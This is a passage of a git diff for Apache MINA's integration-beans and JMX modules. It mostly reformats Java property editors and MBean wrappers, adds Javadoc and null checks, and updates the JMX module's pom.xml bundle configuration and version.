delimiter: " + text); + throw new IllegalArgumentException("Unexpected key-value delimiter: " + text); } - + lastTokenType = TokenType.KEY_VALUE_DELIM; continue; } - - + // TODO escape here. String region = m.group(); @@ -161,36 +172,33 @@ protected final Object toValue(String text) throws IllegalArgumentException { // Skip the last '"'. m.region(m.end() + 1, m.regionEnd()); } - + switch (lastTokenType) { - case ENTRY_DELIM: - keyEditor.setAsText(region); - key = keyEditor.getValue(); - lastTokenType = TokenType.KEY; - break; - case KEY_VALUE_DELIM: - valueEditor.setAsText(region); - value = valueEditor.getValue(); - lastTokenType = TokenType.VALUE; - answer.put(key, value); - break; - case KEY: case VALUE: - throw new IllegalArgumentException( - "Unexpected key or value: " + text); + case ENTRY_DELIM: + keyEditor.setAsText(region); + key = keyEditor.getValue(); + lastTokenType = TokenType.KEY; + break; + case KEY_VALUE_DELIM: + valueEditor.setAsText(region); + value = valueEditor.getValue(); + lastTokenType = TokenType.VALUE; + answer.put(key, value); + break; + case KEY: + case VALUE: + throw new IllegalArgumentException("Unexpected key or value: " + text); } } - + return answer; } - + protected Map newMap() { - return new LinkedHashMap(); + return new LinkedHashMap<>(); } - - private static enum TokenType { - ENTRY_DELIM, - KEY_VALUE_DELIM, - KEY, - VALUE, + + private enum TokenType { + ENTRY_DELIM, KEY_VALUE_DELIM, KEY, VALUE, } } diff --git a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/NullEditor.java b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/NullEditor.java index 0b9d721952..95957f48c5 100644 --- a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/NullEditor.java +++ b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/NullEditor.java @@ -22,7 +22,7 @@ import java.beans.PropertyEditor; /** - * A dummy {@link PropertyEditor} for null. + * A dummy {@link PropertyEditor} for null. * * @author Apache MINA Project */ diff --git a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/NumberEditor.java b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/NumberEditor.java index c8bff30552..41f5a9ef02 100644 --- a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/NumberEditor.java +++ b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/NumberEditor.java @@ -29,14 +29,15 @@ * @author Apache MINA Project */ public class NumberEditor extends AbstractPropertyEditor { - private static final Pattern DECIMAL = Pattern.compile( - "[-+]?[0-9]*\\.?[0-9]*(?:[Ee][-+]?[0-9]+)?"); + private static final Pattern DECIMAL = Pattern.compile("[-+]?[0-9]*\\.?[0-9]*(?:[Ee][-+]?[0-9]+)?"); + private static final Pattern HEXADECIMAL = Pattern.compile("0x[0-9a-fA-F]+"); + private static final Pattern OCTET = Pattern.compile("0[0-9][0-9]*"); - + @Override protected final String toText(Object value) { - return value.toString(); + return (value == null ? "" : value.toString()); } @Override @@ -44,26 +45,26 @@ protected final Object toValue(String text) throws IllegalArgumentException { if (text.length() == 0) { return defaultValue(); } - + if (HEXADECIMAL.matcher(text).matches()) { return toValue(text.substring(2), 16); } - + if (OCTET.matcher(text).matches()) { return toValue(text, 8); } - + if (DECIMAL.matcher(text).matches()) { return toValue(text, 10); } - + throw new NumberFormatException("Not a number: " + text); } - + protected Object toValue(String text, int radix) { return Integer.parseInt(text, radix); } - + @Override protected Object defaultValue() { return Integer.valueOf(0); diff --git a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/PropertiesEditor.java b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/PropertiesEditor.java index 7b2d7e076a..39c02b87c1 100644 --- a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/PropertiesEditor.java +++ b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/PropertiesEditor.java @@ -30,12 +30,18 @@ * @author Apache MINA Project */ public class PropertiesEditor extends MapEditor { - + + /** + * Creates a new DateEditor instance + */ public PropertiesEditor() { super(String.class, String.class); setTrimText(false); } + /** + * {@inheritDoc} + */ @Override protected Map newMap() { return new Properties(); diff --git a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/PropertyEditorFactory.java b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/PropertyEditorFactory.java index cb82e67644..08370f9551 100644 --- a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/PropertyEditorFactory.java +++ b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/PropertyEditorFactory.java @@ -33,130 +33,154 @@ * @author Apache MINA Project */ public final class PropertyEditorFactory { + private PropertyEditorFactory() { + } + + /** + * Creates a new instance of editor, depending on the given object's type + * + * @param object The object we need an editor to be created for + * @return The created editor + */ @SuppressWarnings("unchecked") public static PropertyEditor getInstance(Object object) { if (object == null) { return new NullEditor(); } - - if (object instanceof Collection) { + + if (object instanceof Collection) { Class elementType = null; - for (Object e: (Collection) object) { + + for (Object e : (Collection) object) { if (e != null) { elementType = e.getClass(); + break; } } - + if (elementType != null) { if (object instanceof Set) { return new SetEditor(elementType); } - + if (object instanceof List) { return new ListEditor(elementType); } - + return new CollectionEditor(elementType); } } - + if (object instanceof Map) { Class keyType = null; Class valueType = null; - for (Object entry: ((Map) object).entrySet()) { - Map.Entry e = (Map.Entry) entry; - if (e.getKey() != null && e.getValue() != null) { + + for (Object entry : ((Map) object).entrySet()) { + Map.Entry e = (Map.Entry) entry; + + if ((e.getKey() != null) && (e.getValue() != null)) { keyType = e.getKey().getClass(); valueType = e.getValue().getClass(); + break; } } - - if (keyType != null && valueType != null) { + + if ((keyType != null) && (valueType != null)) { return new MapEditor(keyType, valueType); } } - + return getInstance(object.getClass()); } - - // parent type / property name / property type + + /** + * Creates a new instance of editor, depending on the given type + * + * @param type The type of editor to create + * @return The created editor + */ public static PropertyEditor getInstance(Class type) { if (type == null) { throw new IllegalArgumentException("type"); } - + if (type.isEnum()) { return new EnumEditor(type); } - + if (type.isArray()) { return new ArrayEditor(type.getComponentType()); } - + if (Collection.class.isAssignableFrom(type)) { if (Set.class.isAssignableFrom(type)) { return new SetEditor(String.class); } - + if (List.class.isAssignableFrom(type)) { return new ListEditor(String.class); } - + return new CollectionEditor(String.class); } - + if (Map.class.isAssignableFrom(type)) { return new MapEditor(String.class, String.class); } - + if (Properties.class.isAssignableFrom(type)) { return new PropertiesEditor(); } - - type = filterPrimitiveType(type); try { - return (PropertyEditor) - PropertyEditorFactory.class.getClassLoader().loadClass( - PropertyEditorFactory.class.getPackage().getName() + - '.' + type.getSimpleName() + "Editor").newInstance(); + return (PropertyEditor) PropertyEditorFactory.class + .getClassLoader() + .loadClass( + PropertyEditorFactory.class.getPackage().getName() + '.' + + filterPrimitiveType(type).getSimpleName() + "Editor") + .newInstance(); } catch (Exception e) { return null; } } - + private static Class filterPrimitiveType(Class type) { if (type.isPrimitive()) { if (type == boolean.class) { - type = Boolean.class; + return Boolean.class; } + if (type == byte.class) { - type = Byte.class; + return Byte.class; } + if (type == char.class) { - type = Character.class; + return Character.class; } + if (type == double.class) { - type = Double.class; + return Double.class; } + if (type == float.class) { - type = Float.class; + return Float.class; } + if (type == int.class) { - type = Integer.class; + return Integer.class; } + if (type == long.class) { - type = Long.class; + return Long.class; } + if (type == short.class) { - type = Short.class; + return Short.class; } } + return type; } - - private PropertyEditorFactory() { - } } diff --git a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/SetEditor.java b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/SetEditor.java index 813dd25394..1ba7face23 100644 --- a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/SetEditor.java +++ b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/SetEditor.java @@ -31,13 +31,20 @@ * @author Apache MINA Project */ public class SetEditor extends CollectionEditor { - + /** + * Creates a new SetEditor instance + * + * @param elementType The Element type + */ public SetEditor(Class elementType) { super(elementType); } + /** + * {@inheritDoc} + */ @Override protected Collection newCollection() { - return new LinkedHashSet(); + return new LinkedHashSet<>(); } } diff --git a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/StringEditor.java b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/StringEditor.java index 9c2db2f915..c38ca56842 100644 --- a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/StringEditor.java +++ b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/StringEditor.java @@ -32,7 +32,7 @@ protected String toText(Object value) { if (value instanceof String) { return (String) value; } - + PropertyEditor e = PropertyEditorFactory.getInstance(value); if (e == null) { return String.valueOf(value); diff --git a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/URIEditor.java b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/URIEditor.java index 14576cdcac..8a63436a69 100644 --- a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/URIEditor.java +++ b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/URIEditor.java @@ -33,7 +33,7 @@ public class URIEditor extends AbstractPropertyEditor { @Override protected String toText(Object value) { - return ((URI) value).toString(); + return (value == null ? "" : ((URI) value).toString()); } @Override diff --git a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/URLEditor.java b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/URLEditor.java index e2a2364951..ac75d04a47 100644 --- a/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/URLEditor.java +++ b/mina-integration-beans/src/main/java/org/apache/mina/integration/beans/URLEditor.java @@ -33,7 +33,7 @@ public class URLEditor extends AbstractPropertyEditor { @Override protected String toText(Object value) { - return ((URL) value).toString(); + return (value == null ? "" : ((URL) value).toString()); } @Override diff --git a/mina-integration-beans/src/test/java/org/apache/mina/integration/beans/InetAddressEditorTest.java b/mina-integration-beans/src/test/java/org/apache/mina/integration/beans/InetAddressEditorTest.java index 16ec6b0ea8..7001de416e 100644 --- a/mina-integration-beans/src/test/java/org/apache/mina/integration/beans/InetAddressEditorTest.java +++ b/mina-integration-beans/src/test/java/org/apache/mina/integration/beans/InetAddressEditorTest.java @@ -57,6 +57,6 @@ public void testSetAsTextWithHostName() throws Exception { @Test public void testSetAsTextWithIpAddress() throws Exception { editor.setAsText("127.0.0.1"); - assertEquals(InetAddress.getByName("127.0.0.1"), editor.getValue()); + assertEquals(InetAddress.getByName(null), editor.getValue()); } } diff --git a/mina-integration-beans/src/test/java/org/apache/mina/integration/beans/InetSocketAddressEditorTest.java b/mina-integration-beans/src/test/java/org/apache/mina/integration/beans/InetSocketAddressEditorTest.java index 51645c59b2..1357b2fa35 100644 --- a/mina-integration-beans/src/test/java/org/apache/mina/integration/beans/InetSocketAddressEditorTest.java +++ b/mina-integration-beans/src/test/java/org/apache/mina/integration/beans/InetSocketAddressEditorTest.java @@ -51,14 +51,12 @@ public void testSetAsTextWithWildcardAddress() throws Exception { @Test public void testSetAsTextWithHostName() throws Exception { editor.setAsText("www.google.com:80"); - assertEquals(new InetSocketAddress("www.google.com", 80), editor - .getValue()); + assertEquals(new InetSocketAddress("www.google.com", 80), editor.getValue()); } public void testSetAsTextWithIpAddress() throws Exception { editor.setAsText("192.168.0.1:1000"); - assertEquals(new InetSocketAddress("192.168.0.1", 1000), editor - .getValue()); + assertEquals(new InetSocketAddress("192.168.0.1", 1000), editor.getValue()); } @Test diff --git a/mina-integration-jmx/pom.xml b/mina-integration-jmx/pom.xml index 2fbc54ecc5..460852b688 100644 --- a/mina-integration-jmx/pom.xml +++ b/mina-integration-jmx/pom.xml @@ -24,17 +24,13 @@ org.apache.mina mina-parent - 2.0.1-SNAPSHOT + 2.2.10-SNAPSHOT mina-integration-jmx Apache MINA JMX Integration bundle - - ${project.groupId}.integration.jmx - - ${project.groupId} @@ -62,4 +58,34 @@ ognl + + + + + org.apache.felix + maven-bundle-plugin + true + true + + META-INF + + ${project.groupId}.integration.jmx + + org.apache.mina.integration.jmx;version=${project.version};-noimport:=true + + + ognl;version=${version.ognl}, + org.apache.mina.core.filterchain;version=${project.version}, + org.apache.mina.core.service;version=${project.version}, + org.apache.mina.core.session;version=${project.version}, + org.apache.mina.filter.executor;version=${project.version}, + org.apache.mina.integration.beans;version=${project.version}, + org.apache.mina.integration.ognl;version=${project.version}, + org.slf4j;version=${osgi-min-version.slf4j.api} + + + + + + diff --git a/mina-integration-jmx/src/main/java/org/apache/mina/integration/jmx/IoFilterMBean.java b/mina-integration-jmx/src/main/java/org/apache/mina/integration/jmx/IoFilterMBean.java index 0f74ec7b69..f148731d81 100644 --- a/mina-integration-jmx/src/main/java/org/apache/mina/integration/jmx/IoFilterMBean.java +++ b/mina-integration-jmx/src/main/java/org/apache/mina/integration/jmx/IoFilterMBean.java @@ -26,21 +26,23 @@ */ public class IoFilterMBean extends ObjectMBean { + /** + * Creates a new IoFilterMBean instance + * + * @param source The IOFilter to monitor + */ public IoFilterMBean(IoFilter source) { super(source); } - + @Override protected boolean isOperation(String methodName, Class[] paramTypes) { // Ignore some IoFilter methods. - if (methodName.matches( - "(init|destroy|on(Pre|Post)(Add|Remove)|" + - "session(Created|Opened|Idle|Closed)|" + - "exceptionCaught|message(Received|Sent)|" + - "filter(Close|Write|SetTrafficMask))")) { + if (methodName.matches("(init|destroy|on(Pre|Post)(Add|Remove)|" + "session(Created|Opened|Idle|Closed)|" + + "exceptionCaught|message(Received|Sent)|" + "filter(Close|Write|SetTrafficMask))")) { return false; } - + return super.isOperation(methodName, paramTypes); } } diff --git a/mina-integration-jmx/src/main/java/org/apache/mina/integration/jmx/IoServiceMBean.java b/mina-integration-jmx/src/main/java/org/apache/mina/integration/jmx/IoServiceMBean.java index 5a4996048c..43f66151e5 100644 --- a/mina-integration-jmx/src/main/java/org/apache/mina/integration/jmx/IoServiceMBean.java +++ b/mina-integration-jmx/src/main/java/org/apache/mina/integration/jmx/IoServiceMBean.java @@ -42,13 +42,21 @@ public class IoServiceMBean extends ObjectMBean { static String getSessionIdAsString(long l) { // ID in MINA is a unsigned 32-bit integer. String id = Long.toHexString(l).toUpperCase(); + while (id.length() < 8) { id = '0' + id; // padding } + id = "0x" + id; + return id; } + /** + * Creates a new IoServiceMBean instance + * + * @param source The IoService to monitor + */ public IoServiceMBean(IoService source) { super(source); } @@ -62,15 +70,14 @@ protected Object invoke0(String name, Object[] params, String[] signature) throw if (name.equals("findAndRegisterSessions")) { IoSessionFinder finder = new IoSessionFinder((String) params[0]); - Set registeredSessions = new LinkedHashSet(); - for (IoSession s: finder.find(getSource().getManagedSessions().values())) { + Set registeredSessions = new LinkedHashSet<>(); + + for (IoSession s : finder.find(getSource().getManagedSessions().values())) { try { getServer().registerMBean( new IoSessionMBean(s), - new ObjectName( - getName().getDomain() + - ":type=session,name=" + - getSessionIdAsString(s.getId()))); + new ObjectName(getName().getDomain() + ":type=session,name=" + + getSessionIdAsString(s.getId()))); registeredSessions.add(s); } catch (Exception e) { LOGGER.warn("Failed to register a session as a MBean: " + s, e); @@ -86,13 +93,14 @@ protected Object invoke0(String name, Object[] params, String[] signature) throw Object expr = Ognl.parseExpression(command); Set matches = finder.find(getSource().getManagedSessions().values()); - for (IoSession s: matches) { + for (IoSession s : matches) { try { Ognl.getValue(expr, s); } catch (Exception e) { LOGGER.warn("Failed to execute '" + command + "' for: " + s, e); } } + return matches; } @@ -101,39 +109,30 @@ protected Object invoke0(String name, Object[] params, String[] signature) throw @Override protected void addExtraOperations(List operations) { - operations.add(new ModelMBeanOperationInfo( - "findSessions", "findSessions", + operations.add(new ModelMBeanOperationInfo("findSessions", "findSessions", + new MBeanParameterInfo[] { new MBeanParameterInfo("ognlQuery", String.class.getName(), + "a boolean OGNL expression") }, Set.class.getName(), MBeanOperationInfo.INFO)); + operations.add(new ModelMBeanOperationInfo("findAndRegisterSessions", "findAndRegisterSessions", + new MBeanParameterInfo[] { new MBeanParameterInfo("ognlQuery", String.class.getName(), + "a boolean OGNL expression") }, Set.class.getName(), MBeanOperationInfo.ACTION_INFO)); + operations.add(new ModelMBeanOperationInfo("findAndProcessSessions", "findAndProcessSessions", new MBeanParameterInfo[] { - new MBeanParameterInfo( - "ognlQuery", String.class.getName(), "a boolean OGNL expression") - }, Set.class.getName(), MBeanOperationInfo.INFO)); - operations.add(new ModelMBeanOperationInfo( - "findAndRegisterSessions", "findAndRegisterSessions", - new MBeanParameterInfo[] { - new MBeanParameterInfo( - "ognlQuery", String.class.getName(), "a boolean OGNL expression") - }, Set.class.getName(), MBeanOperationInfo.ACTION_INFO)); - operations.add(new ModelMBeanOperationInfo( - "findAndProcessSessions", "findAndProcessSessions", - new MBeanParameterInfo[] { - new MBeanParameterInfo( - "ognlQuery", String.class.getName(), "a boolean OGNL expression"), - new MBeanParameterInfo( - "ognlCommand", String.class.getName(), "an OGNL expression that modifies the state of the sessions in the match result") - }, Set.class.getName(), MBeanOperationInfo.ACTION_INFO)); + new MBeanParameterInfo("ognlQuery", String.class.getName(), "a boolean OGNL expression"), + new MBeanParameterInfo("ognlCommand", String.class.getName(), + "an OGNL expression that modifies the state of the sessions in the match result") }, + Set.class.getName(), MBeanOperationInfo.ACTION_INFO)); } @Override protected boolean isOperation(String methodName, Class[] paramTypes) { // Ignore some IoServide methods. - if (methodName.matches( - "(newSession|broadcast|(add|remove)Listener)")) { + if (methodName.matches("(newSession|broadcast|(add|remove)Listener)")) { return false; } - if ((methodName.equals("bind") || methodName.equals("unbind")) && - (paramTypes.length > 1 || - paramTypes.length == 1 && !SocketAddress.class.isAssignableFrom(paramTypes[0]))) { + if ((methodName.equals("bind") || methodName.equals("unbind")) + && (paramTypes.length > 1 || paramTypes.length == 1 + && !SocketAddress.class.isAssignableFrom(paramTypes[0]))) { return false; } diff --git a/mina-integration-jmx/src/main/java/org/apache/mina/integration/jmx/IoSessionMBean.java b/mina-integration-jmx/src/main/java/org/apache/mina/integration/jmx/IoSessionMBean.java index e1499ba142..76f57354a5 100644 --- a/mina-integration-jmx/src/main/java/org/apache/mina/integration/jmx/IoSessionMBean.java +++ b/mina-integration-jmx/src/main/java/org/apache/mina/integration/jmx/IoSessionMBean.java @@ -35,21 +35,27 @@ * @author Apache MINA Project */ public class IoSessionMBean extends ObjectMBean { - + /** + * Creates a new IoSessionMBean instance + * + * @param source The IoSession to monitor + */ public IoSessionMBean(IoSession source) { super(source); } - + @Override protected Object getAttribute0(String fqan) throws Exception { if (fqan.equals("attributes")) { - Map answer = new LinkedHashMap(); - for (Object key: getSource().getAttributeKeys()) { + Map answer = new LinkedHashMap<>(); + + for (Object key : getSource().getAttributeKeys()) { answer.put(String.valueOf(key), String.valueOf(getSource().getAttribute(key))); } + return answer; } - + return super.getAttribute0(fqan); } @@ -60,17 +66,19 @@ protected Object invoke0(String name, Object[] params, String[] signature) throw ObjectName filterRef = (ObjectName) params[1]; IoFilter filter = getFilter(filterRef); getSource().getFilterChain().addFirst(filterName, filter); + return null; } - + if (name.equals("addFilterLast")) { String filterName = (String) params[0]; ObjectName filterRef = (ObjectName) params[1]; IoFilter filter = getFilter(filterRef); getSource().getFilterChain().addLast(filterName, filter); + return null; } - + if (name.equals("addFilterBefore")) { String filterBaseName = (String) params[0]; String filterName = (String) params[1]; @@ -79,99 +87,92 @@ protected Object invoke0(String name, Object[] params, String[] signature) throw getSource().getFilterChain().addBefore(filterBaseName, filterName, filter); return null; } - + if (name.equals("addFilterAfter")) { String filterBaseName = (String) params[0]; String filterName = (String) params[1]; ObjectName filterRef = (ObjectName) params[2]; IoFilter filter = getFilter(filterRef); getSource().getFilterChain().addAfter(filterBaseName, filterName, filter); + return null; } - + if (name.equals("removeFilter")) { String filterName = (String) params[0]; getSource().getFilterChain().remove(filterName); + return null; } - + return super.invoke0(name, params, signature); } private IoFilter getFilter(ObjectName filterRef) throws MBeanException { Object object = ObjectMBean.getSource(filterRef); + if (object == null) { - throw new MBeanException(new IllegalArgumentException( - "MBean not found: " + filterRef)); + throw new MBeanException(new IllegalArgumentException("MBean not found: " + filterRef)); } + if (!(object instanceof IoFilter)) { - throw new MBeanException(new IllegalArgumentException( - "MBean '" + filterRef + "' is not an IoFilter.")); + throw new MBeanException(new IllegalArgumentException("MBean '" + filterRef + "' is not an IoFilter.")); } - + return (IoFilter) object; } @Override protected void addExtraAttributes(List attributes) { - attributes.add(new ModelMBeanAttributeInfo( - "attributes", Map.class.getName(), "attributes", - true, false, false)); + attributes + .add(new ModelMBeanAttributeInfo("attributes", Map.class.getName(), "attributes", true, false, false)); } - + @Override protected void addExtraOperations(List operations) { - operations.add(new ModelMBeanOperationInfo( - "addFilterFirst", "addFilterFirst", new MBeanParameterInfo[] { - new MBeanParameterInfo( - "name", String.class.getName(), "the new filter name"), - new MBeanParameterInfo( - "filter", ObjectName.class.getName(), "the ObjectName reference to the filter") - }, void.class.getName(), ModelMBeanOperationInfo.ACTION)); - - operations.add(new ModelMBeanOperationInfo( - "addFilterLast", "addFilterLast", new MBeanParameterInfo[] { - new MBeanParameterInfo( - "name", String.class.getName(), "the new filter name"), - new MBeanParameterInfo( - "filter", ObjectName.class.getName(), "the ObjectName reference to the filter") - }, void.class.getName(), ModelMBeanOperationInfo.ACTION)); - - operations.add(new ModelMBeanOperationInfo( - "addFilterBefore", "addFilterBefore", new MBeanParameterInfo[] { - new MBeanParameterInfo( - "baseName", String.class.getName(), "the next filter name"), - new MBeanParameterInfo( - "name", String.class.getName(), "the new filter name"), - new MBeanParameterInfo( - "filter", ObjectName.class.getName(), "the ObjectName reference to the filter") - }, void.class.getName(), ModelMBeanOperationInfo.ACTION)); - - operations.add(new ModelMBeanOperationInfo( - "addFilterAfter", "addFilterAfter", new MBeanParameterInfo[] { - new MBeanParameterInfo( - "baseName", String.class.getName(), "the previous filter name"), - new MBeanParameterInfo( - "name", String.class.getName(), "the new filter name"), - new MBeanParameterInfo( - "filter", ObjectName.class.getName(), "the ObjectName reference to the filter") - }, void.class.getName(), ModelMBeanOperationInfo.ACTION)); - - operations.add(new ModelMBeanOperationInfo( - "removeFilter", "removeFilter", new MBeanParameterInfo[] { - new MBeanParameterInfo( - "name", String.class.getName(), "the name of the filter to be removed"), - }, void.class.getName(), ModelMBeanOperationInfo.ACTION)); + operations.add(new ModelMBeanOperationInfo("addFilterFirst", "addFilterFirst", + new MBeanParameterInfo[] { + new MBeanParameterInfo("name", String.class.getName(), "the new filter name"), + new MBeanParameterInfo("filter", ObjectName.class.getName(), + "the ObjectName reference to the filter") }, void.class.getName(), + ModelMBeanOperationInfo.ACTION)); + + operations.add(new ModelMBeanOperationInfo("addFilterLast", "addFilterLast", + new MBeanParameterInfo[] { + new MBeanParameterInfo("name", String.class.getName(), "the new filter name"), + new MBeanParameterInfo("filter", ObjectName.class.getName(), + "the ObjectName reference to the filter") }, void.class.getName(), + ModelMBeanOperationInfo.ACTION)); + + operations.add(new ModelMBeanOperationInfo("addFilterBefore", "addFilterBefore", + new MBeanParameterInfo[] { + new MBeanParameterInfo("baseName", String.class.getName(), "the next filter name"), + new MBeanParameterInfo("name", String.class.getName(), "the new filter name"), + new MBeanParameterInfo("filter", ObjectName.class.getName(), + "the ObjectName reference to the filter") }, void.class.getName(), + ModelMBeanOperationInfo.ACTION)); + + operations.add(new ModelMBeanOperationInfo("addFilterAfter", "addFilterAfter", + new MBeanParameterInfo[] { + new MBeanParameterInfo("baseName", String.class.getName(), "the previous filter name"), + new MBeanParameterInfo("name", String.class.getName(), "the new filter name"), + new MBeanParameterInfo("filter", ObjectName.class.getName(), + "the ObjectName reference to the filter") }, void.class.getName(), + ModelMBeanOperationInfo.ACTION)); + + operations.add(new ModelMBeanOperationInfo("removeFilter", "removeFilter", + new MBeanParameterInfo[] { new MBeanParameterInfo("name", String.class.getName(), + "the name of the filter to be removed"), }, void.class.getName(), + ModelMBeanOperationInfo.ACTION)); } @Override protected boolean isOperation(String methodName, Class[] paramTypes) { // Ignore some IoSession methods. - if (methodName.matches( - "(write|read|(remove|replace|contains)Attribute)")) { + if (methodName.matches("(write|read|(remove|replace|contains)Attribute)")) { return false; } - + return super.isOperation(methodName, paramTypes); } } diff --git a/mina-integration-jmx/src/main/java/org/apache/mina/integration/jmx/ObjectMBean.java b/mina-integration-jmx/src/main/java/org/apache/mina/integration/jmx/ObjectMBean.java index b0afa59523..6226b1346e 100644 --- a/mina-integration-jmx/src/main/java/org/apache/mina/integration/jmx/ObjectMBean.java +++ b/mina-integration-jmx/src/main/java/org/apache/mina/integration/jmx/ObjectMBean.java @@ -5,9 +5,9 @@ * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at - * + * * http://www.apache.org/licenses/LICENSE-2.0 - * + * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. @@ -97,48 +97,59 @@ /** * A {@link ModelMBean} wrapper implementation for a POJO. - * + * * @author Apache MINA Project - * + * * @param the type of the managed object */ public class ObjectMBean implements ModelMBean, MBeanRegistration { - private static final Map sources = - new ConcurrentHashMap(); - + private static final Map sources = new ConcurrentHashMap<>(); + + /** + * Get the monitored object + * + * @param oname The object name + * @return The monitored object + */ public static Object getSource(ObjectName oname) { return sources.get(oname); } - + static { OgnlRuntime.setPropertyAccessor(IoService.class, new IoServicePropertyAccessor()); OgnlRuntime.setPropertyAccessor(IoSession.class, new IoSessionPropertyAccessor()); OgnlRuntime.setPropertyAccessor(IoFilter.class, new IoFilterPropertyAccessor()); } - + protected final static Logger LOGGER = LoggerFactory.getLogger(ObjectMBean.class); private final T source; + private final TransportMetadata transportMetadata; + private final MBeanInfo info; - private final Map propertyDescriptors = - new HashMap(); + + private final Map propertyDescriptors = new HashMap<>(); + private final TypeConverter typeConverter = new OgnlTypeConverter(); private volatile MBeanServer server; + private volatile ObjectName name; /** * Creates a new instance with the specified POJO. + * + * @param source The original POJO */ public ObjectMBean(T source) { if (source == null) { throw new IllegalArgumentException("source"); } - + this.source = source; - + if (source instanceof IoService) { transportMetadata = ((IoService) source).getTransportMetadata(); } else if (source instanceof IoSession) { @@ -146,79 +157,72 @@ public ObjectMBean(T source) { } else { transportMetadata = null; } - + this.info = createModelMBeanInfo(source); } - - public final Object getAttribute(String fqan) throws AttributeNotFoundException, - MBeanException, ReflectionException { + + public final Object getAttribute(String fqan) throws AttributeNotFoundException, MBeanException, + ReflectionException { try { return convertValue(source.getClass(), fqan, getAttribute0(fqan), false); } catch (AttributeNotFoundException e) { // Do nothing - } catch (Throwable e) { + } catch (Exception e) { throwMBeanException(e); } // Check if the attribute exist, if not throw an exception PropertyDescriptor pdesc = propertyDescriptors.get(fqan); if (pdesc == null) { - throwMBeanException(new IllegalArgumentException( - "Unknown attribute: " + fqan)); + throwMBeanException(new IllegalArgumentException("Unknown attribute: " + fqan)); } - + try { Object parent = getParent(fqan); boolean writable = isWritable(source.getClass(), pdesc); - - return convertValue( - parent.getClass(), getLeafAttributeName(fqan), - getAttribute(source, fqan, pdesc.getPropertyType()), - writable); - } catch (Throwable e) { + + return convertValue(parent.getClass(), getLeafAttributeName(fqan), + getAttribute(source, fqan, pdesc.getPropertyType()), writable); + } catch (Exception e) { throwMBeanException(e); } - + throw new IllegalStateException(); } - - public final void setAttribute(Attribute attribute) - throws AttributeNotFoundException, MBeanException, - ReflectionException { + + public final void setAttribute(Attribute attribute) throws AttributeNotFoundException, MBeanException, + ReflectionException { String aname = attribute.getName(); Object avalue = attribute.getValue(); - + try { setAttribute0(aname, avalue); } catch (AttributeNotFoundException e) { // Do nothing - } catch (Throwable e) { + } catch (Exception e) { throwMBeanException(e); } - + PropertyDescriptor pdesc = propertyDescriptors.get(aname); if (pdesc == null) { - throwMBeanException(new IllegalArgumentException( - "Unknown attribute: " + aname)); + throwMBeanException(new IllegalArgumentException("Unknown attribute: " + aname)); } - + try { - PropertyEditor e = getPropertyEditor( - getParent(aname).getClass(), - pdesc.getName(), pdesc.getPropertyType()); + PropertyEditor e = getPropertyEditor(getParent(aname).getClass(), pdesc.getName(), pdesc.getPropertyType()); e.setAsText((String) avalue); - OgnlContext ctx = (OgnlContext) Ognl.createDefaultContext(source); - ctx.setTypeConverter(typeConverter); + + OgnlContext ctx = (OgnlContext) Ognl.createDefaultContext(source, null, typeConverter); Ognl.setValue(aname, ctx, source, e.getValue()); - } catch (Throwable e) { + } catch (Exception e) { throwMBeanException(e); } } - - public final Object invoke(String name, Object params[], String signature[]) - throws MBeanException, ReflectionException { - + + public final Object invoke(String name, Object params[], String signature[]) throws MBeanException, + ReflectionException { + // Handle synthetic operations first. if (name.equals("unregisterMBean")) { try { @@ -228,38 +232,36 @@ public final Object invoke(String name, Object params[], String signature[]) throwMBeanException(e); } } - + try { - return convertValue( - null, null, invoke0(name, params, signature), false); + return convertValue(null, null, invoke0(name, params, signature), false); } catch (NoSuchMethodException e) { // Do nothing - } catch (Throwable e) { + } catch (Exception e) { throwMBeanException(e); } - + // And then try reflection. Class[] paramTypes = new Class[signature.length]; - for (int i = 0; i < paramTypes.length; i ++) { + for (int i = 0; i < paramTypes.length; i++) { try { paramTypes[i] = getAttributeClass(signature[i]); } catch (ClassNotFoundException e) { throwMBeanException(e); } - - PropertyEditor e = getPropertyEditor( - source.getClass(), "p" + i, paramTypes[i]); + + PropertyEditor e = getPropertyEditor(source.getClass(), "p" + i, paramTypes[i]); if (e == null) { - throwMBeanException(new RuntimeException("Conversion failure: " + params[i])); + throwMBeanException(new IllegalArgumentException("Conversion failure: " + params[i])); } - + e.setValue(params[i]); params[i] = e.getAsText(); } - + try { // Find the right method. - for (Method m: source.getClass().getMethods()) { + for (Method m : source.getClass().getMethods()) { if (!m.getName().equalsIgnoreCase(name)) { continue; } @@ -267,9 +269,9 @@ public final Object invoke(String name, Object params[], String signature[]) if (methodParamTypes.length != params.length) { continue; } - + Object[] convertedParams = new Object[params.length]; - for (int i = 